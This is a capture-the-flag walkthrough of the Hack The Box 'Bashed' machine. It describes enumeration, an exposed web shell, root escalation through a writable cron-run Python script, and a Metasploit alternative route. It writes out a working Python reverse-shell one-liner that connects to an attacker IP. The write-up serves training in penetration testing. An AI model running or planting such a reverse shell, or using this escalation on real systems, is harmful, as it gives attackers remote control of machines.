Hack The Box: Bashed Walkthrough

Recon & Enumeration

Use nmap to scan for open ports and services:

Upon conducting a port scan, we observe that port 80 is open.

Check the target through a web browser

Run dirsearch to enumerate the web server directories.

After going through the directories we got, we have /dev which seems to be interesting.

Inside the directory /dev, we get the script phpbash.php which gives us access to a web shell.

Exploitation W/O Metasploit

Start a listener on the attacker system and move the shell there.

In the target machine send a reverse shell to the attack machine using the python command below:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",4343));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

And we get a shell back on out attack box.

Now we are looking for a way to escalate our privileges on the machine starting with what can we sudo here.

We can run as the user scriptmanager, and with more enumeration, we find the below.

We find that everything here is root owned except the directory /scripts which is owned by scriptmanager.

We change to scriptmanager as below.

As we can see below, we have full access rights to the /scripts directory.

We can see that we have a python script owned by us, after listing all files one more time, i saw that the last access time for the test.txt file has changed. After checking the python script below, we can assume that there is a cron job running periodically.

Delete the Python script file.

Then, create the python script file as below to send a shell back to the attack box.

Now, we back to our attack box and set up a listener with the same port we put on the shell.py above.

After waiting for a while, we get a shell running as a root.

Exploitation W/ Metasploit

We launch Metasploit handler and set it to get the shell from the web shell we already have on the target.

We background the session and use a module to upgrade the shell to meterpreter one.

We set its options and run.

We check the sessions we have.

We search for an exploit suggester module.

We set its options and run.

We get the modules below, which show that the machine seems to be vulnerable to three of them.

Use the first module and set the options and run.

And we get a root shell.